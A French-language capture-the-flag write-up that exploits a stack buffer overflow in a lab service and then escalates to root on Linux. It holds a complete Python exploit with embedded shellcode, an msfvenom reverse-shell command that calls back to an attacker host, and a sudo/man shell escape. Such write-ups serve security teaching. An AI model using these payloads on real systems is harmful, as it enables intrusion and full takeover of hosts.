Exploitation d'un Dépassement de Tampon et Élévation de Privilèges vers Root sous Linux

Reconnaissance et Extraction du Binaire

L'objectif de cette analyse est d'identifier et d'exploiter une vulnérabilité de dépassement de tampon (buffer overflow) sur un exécutable personnalisé, puis d'obtenir les privilèges root sur le système hôte Linux. La première étape consiste à cartographier la surface d'attaque.

nmap -sV -sC -p- --min-rate 1000 10.10.55.12
gobuster dir -u http://10.10.55.12:10000/ -w /opt/wordlists/directory-list.txt -t 50

L'exploration des répertoires révèle un dossier /bin/ hébergeant un fichier nommé brainpan.exe. Ce binaire est téléchargé localement pour une analyse statique et dynamique dans un environnement isolé.

Analyse Locale et Débogage

Pour analyser le binaire Windows, nous le transférons vers une machine virtuelle Windows dédiée au débogage. Un serveur HTTP temporaire est levé sur la machine attaquante pour faciliter le transfert.

python3 -m http.server 8080

Une fois le binaire récupéré et exécuté, il s'écoute sur le port 9999. Nous configurons ensuite l'environnement de débogage avec Immunity Debugger et le plugin Mona pour structurer nos fichiers de travail :

!mona config -set workingfolder c:\debug_logs\%p

Fuzzing et Identification du Point de Rupture

Un script de fuzzing est déployé pour déterminer la charge nécessaire pour faire planter l'application et corrompre la mémoire.

import socket

TARGET_HOST = "192.168.50.10"
TARGET_PORT = 9999

def send_fuzz_payload(size):
    payload = b"A" * size
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((TARGET_HOST, TARGET_PORT))
        sock.send(payload + b"\r\n")

send_fuzz_payload(1200)

L'application plante lors de l'envoi de 1200 octets. Pour localiser précisément le registre EIP, nous générons un motif cyclique unique.

msf-pattern_create -l 1200

Après avoir injecté ce motif et observé la valeur de l'EIP lors du crash, nous calculons le décalage exact :

msf-pattern_offset -l 1200 -q 35724134

Le décalage est confirmé à 524 octets. Cela signifie que les 4 octets suivant les 524 premiers octets écraseront directement le registre EIP.

Contrôle de l'EIP et Identification des Caractères Interdits

Nous vérifions le contrôle de l'EIP en injectant 524 octets de bourrage suivis de 4 octets de contrôle. Ensuite, nous générons un tableau d'octets pour identifier les caractères interdits (bad characters) qui pourraient tronquer notre charge utile.

!mona bytearray -b "\x00"

Un script Python est utilisé pour générer la séquence d'octets complète à injecter :

bad_char_test = bytes(range(1, 256))
print(bad_char_test.hex())

Après l'injection et l'analyse comparative avec Mona, seul le caractère nul (\x00) est identifié comme caractère interdit.

!mona compare -f C:\debug_logs\brainpan\bytearray.bin -a [adresse_esp]

Redirection du Flux d'Exécution

Pour rediriger l'exécution vers notre shellcode, nous recherchons une instruction JMP ESP dans les modules chargés, en excluant les caractères interdits.

!mona jmp -r esp -cpb "\x00"

L'adresse 0x311712f3 est sélectionnée. En raison de l'architecture little-endian, elle sera intégrée dans l'exploit sous la forme \xf3\x12\x17\x31.

Génération de la Charge Utile et Exploitation Finale

Nous générons un reverse shell Linux, en nous assurant d'exclure le caractère nul et en spécifiant le format de sortie pour une intégration directe dans notre script.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=5555 -b '\x00' -f python -v shellcode_bytes

Le script d'exploitation final est assemblé en intégrant le décalage, l'adresse de saut, un NOP sled pour la stabilité, et la charge utile générée.

import socket
import sys

TARGET_IP = "10.10.55.12"
TARGET_PORT = 9999
EIP_OFFSET = 524
JMP_ESP = b"\xf3\x12\x17\x31"
NOP_SLED = b"\x90" * 20

shellcode_bytes =  b""
shellcode_bytes += b"\xbd\x24\x36\x43\xdf\xdd\xc6\xd9\x74\x24\xf4"
shellcode_bytes += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x68\x0e"
shellcode_bytes += b"\x03\x4c\x38\xa1\x2a\xbd\x9f\xd2\x36\xee\x5c"
shellcode_bytes += b"\x4e\xd3\x12\xea\x91\x93\x74\x21\xd1\x47\x21"
shellcode_bytes += b"\x09\xed\xaa\x51\x20\x6b\xcc\x39\xb9\x86\x3e"
shellcode_bytes += b"\x83\xd5\x9a\x3e\xe2\x79\x12\xdf\xb4\xe4\x74"
shellcode_bytes += b"\x71\xe7\x5b\x77\xf8\xe6\x51\xf8\xa8\x80\x07"
shellcode_bytes += b"\xd6\x3f\x38\xb0\x07\xef\xda\x29\xd1\x0c\x48"
shellcode_bytes += b"\xf9\x68\x33\xdc\xf6\xa7\x34"

final_payload = b"A" * EIP_OFFSET + JMP_ESP + NOP_SLED + shellcode_bytes

try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.settimeout(5)
    client_socket.connect((TARGET_IP, TARGET_PORT))
    client_socket.send(final_payload + b"\r\n")
    client_socket.close()
    print("Exploit envoyé avec succès.")
except Exception as e:
    print(f"Échec de la connexion : {e}")
    sys.exit(1)

Un écouteur Netcat est configuré sur le port 5555 avant l'exécution du script, permettant d'obtenir une session shell initiale sur la cible.

Élévation de Privilèges

Une fois la session obtenue, le terminal est stabilisé pour permettre une interaction complète avec le système.

python3 -c 'import pty; pty.spawn("/bin/bash")'

L'analyse des droits sudo révèle qu'un binaire personnalisé peut être exécuté avec des privilèges élevés.

sudo -l
sudo /home/anansi/bin/anansi_util manual man

Le paramètre manual invoque la commande man du système. En se référant aux techniques d'évasion connues pour cette commande, nous pouvons échapper à l'environnement restreint. Dans l'interface de la page de manuel ouverte, la séquence suivante est saisie pour invoquer un shell root :

!/bin/bash

Étiquettes: buffer-overflow reverse-engineering privilege-escalation Linux immunity-debugger

Publié le 6 juin à 21h33